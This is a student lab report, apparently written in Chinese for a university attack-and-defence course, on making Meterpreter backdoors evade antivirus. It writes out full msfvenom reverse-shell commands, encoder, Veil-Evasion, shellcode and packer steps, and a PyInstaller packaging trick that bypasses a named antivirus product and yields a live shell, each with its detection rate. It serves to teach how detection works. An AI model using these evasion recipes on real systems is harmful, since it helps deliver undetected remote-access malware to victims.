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20232420 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news 2025/12/24 15:30:58

1.实验内容

学会使用msf编码器，veil-evasion，利用shellcode编程，加壳等免杀工具或技巧。
尝试实现恶意代码免杀。
理解免杀机制和原理，认识到杀软局限性。

2.实验过程

2.1 免杀效果参考基准

2.1.1 免杀效果的评价

用VirusTotal评价免杀效果。

2.1.2 参考基准

kali虚拟机上，msfvenom直接生成meterpreter可执行文件20232420backdoor.exe。指令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor.exe。
对该文件用VirusTotal检出率为47/70，即用70不同的反病毒引擎对文件进行扫描，其中有47个判断文件是恶意的。以此作为后续免杀效果的参考基准。

2.2 不同格式文件及Msfvenom使用编码器

2.2.1 exe文件和编码的exe文件

使用msfvenom自带的编码器对后门文件进行编码，这里采用编码格式x86/shikata_ga_nai，指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded.exe。检出率为43/71，没什么效果。
用参数-i设置编码次数为10次，指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded10.exe。检出率为42/71，可见这种免杀方式效果不明显。

2.2.2 jar文件和编码的jar文件

使用msfvenom改为生成jar文件，指令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.jar。检出率为35/64，有明显提升。
对jar文件进行10次编码msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.jar。检出率仍为35/64，可见改为jar文件能使后门文件更不容易被检测出来，而编码依旧没用。

2.2.3 php文件和编码的php文件

改为生成php文件，指令为msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.php。检出率为25/62，有明显免杀作用。
将php文件编码10次，指令为msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.php，检出率为9/62，这一次编码后免杀效果明显，这是由于反病毒引擎对php文件的检测更依赖静态代码特征匹配，而多次编码后，静态特征被加密和混淆，引擎难以直接识别。

2.3 使用免杀平台Veil-Evasion

安装好veil，进入操作界面，可以看到两个选项Evasion和Ordnance，Evasion用于生成免杀恶意payload，Ordnance用于生成辅助攻击工具或组件，这里use 1。
输入list，查看可以使用的Payloads。
这里use 7，即使用c语言的c/meterpreter/rev_tcp，配置好信息，生成可执行文件。

set LHOST 192.168.190.128 #回连IP
set LPORT 2420 #回连端口                                   
generate
20232420payload #可执行文件名

在指定路径/var/lib/veil/output/compiled/找到生成的可执行文件。
测试生成的可执行文件，检出率为36/71，说明veil有一定的免杀能力。

2.4 C语言调用Shellcode

通过命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f c，得到C语言格式下的一个shellcode。
将这段shellcode写入一个C语言程序当中，内容如下：
通过命令i686-w64-mingw32-g++ 20232420_c_shellcode.c -o 20232420_c_shellcode.exe将其编译成可执行文件。
测试生成的可执行文件，检出率为39/72，说明C语言调用Shellcode有一定的免杀能力。

2.5 加壳

2.5.1 压缩壳UPX

通过命令upx 20232420_c_shellcode.exe -o 20232420_c_shellcode_upx.exe，给刚才的shellcode加一个UPX压缩壳。
测试生成的可执行文件，检出率为42/71，加了壳，免杀效果反而变差了。

2.5.2 加密壳Hyperion

输入命令cp 20232420_c_shellcode.exe /usr/share/windows-resources/hyperion/，将可执行文件20232420_c_shellcode.exe复制到Hyperion所在的目录中。
输入命令cd /usr/share/windows-resources/hyperion/，将工作目录切换为Hyperion所在的目录。
输入命令wine hyperion.exe -v 20232420_c_shellcode.exe 20232420_c_shellcode_hyp.exe，生成新的可执行文件20232420_c_shellcode_hyp.exe。
测试生成的可执行文件，检出率为51/71，免杀效果也变差了。推测是因为这些加壳工具本身已经被高度警惕，加壳文件会直接被视为高风险文件。

2.6 通过组合使用msfvenom工具与封装技术尝试实现恶意代码免杀

输入指令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f raw > 20232420_python_shellcode.py,生成python格式的后门文件。
将其复制到windows主机，在终端中输入指令pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232420_python_shellcode.py，将包含shellcode的python脚本打包为单文件.exe，运行时不显示控制台窗口，指定getpass、code、platform、shlex四个python标准库模块，利用打包工具的封装性隐藏原始代码的静态特征。
用火绒查杀，没有发现该文件。推测是因为PyInstaller生成的.exe在很多场景下被视为“正常工具”，火绒可能对其执行的代码采取更宽松的检测策略。
测试生成的可执行文件，检出率为17/72，免杀效果还是比较理想的。
在火绒打开的情况下，尝试回连获取shell，成功。（注意参数是set payload python/meterpreter/reverse_tcp）

3.问题及解决方案

问题1：使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差。
问题1解决方案：原因可能在于反病毒引擎对“加壳文件”的态度是“宁错杀不放过”，这些加壳工具本身已被反病毒引擎深度标记，只要检测到，默认标记为高风险。
问题2：能执行.exe，却无法建立meterpreter会话。
问题2解决方案：参数一开始用的是set payload windows/meterpreter/reverse_tcp，应该改为set payload python/meterpreter/reverse_tcp。

4.问题回答

（1）杀软是如何检测出恶意代码的？

主要是通过两个方面来检查，一是静态特征匹配，看是否具有已知恶意代码的特征；二是动态行为分析，检测软件是否作出任何可疑行为，如建立不正常的连接、修改系统配置等。

（2）免杀是做什么？

免杀是指通过技术手段修改或隐藏恶意代码的特征与行为，使其看起来像正常程序，能够绕过杀软的检测与拦截，在目标系统中正常执行恶意功能。

（3）免杀的基本方法有哪些？

目前看到的免杀方法基本都是对抗静态特征匹配，利用编码、压缩壳、加密壳、冗余代码插入等方式破坏静态特征，从而避免被杀软检测出来；还可以行为模拟正常程序，将恶意操作伪装成合法行为，如将建立不正常的连接模拟成浏览器访问。

5.学习感悟

本次实验中尝试了msfvenom编码器通过编码破坏静态特征，使用Veil-Evasion通过模板生成免杀payload，C语言调用Shellcode以及加壳，理解了静态免杀的核心是破坏杀软的特征码匹配，而动态免杀的关键是规避行为分析。过程中还发现了使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差这一现象，这说明了免杀最重要的是隐蔽和伪装，用的手段越多，反而可能让恶意软件更显眼，效果反而更差。了解了免杀的工具和技术，也就能学会如何反制，然而对恶意软件的检测往往有滞后性，要认识到杀软的局限性，在生活中更要在社会工程学方面提高对于恶意软件防范能力。